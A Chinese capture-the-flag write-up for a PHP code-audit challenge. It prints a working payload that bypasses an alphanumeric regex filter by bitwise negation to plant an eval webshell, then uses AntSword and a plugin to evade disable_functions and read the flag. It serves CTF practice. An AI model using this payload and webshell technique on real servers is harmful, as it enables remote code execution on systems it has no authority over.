打开就是一个代码审计:
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>
用取反绕过preg_match,最终代码执行@eval(assert(eval($_REQUEST[8]));) 注意第一个eval(xxx;)里面的语句后需要一个分号
payload:
http://eca5c06e-d2c2-45f4-b9aa-9a74c0d5f851.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%C7%A2%D6);
这里有个坑,打开蚁剑第一次添加数据的时候由于有个分号蚁剑会报错,解决方法是先去掉分号,再修改数据,把分号加上去,就行了,然后使用插件绕过disable_functions。
打开终端输入/readflag,得到flag
标签:__,插件,code,取反,eval,绕过 来源: https://www.cnblogs.com/hackerone/p/16468233.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。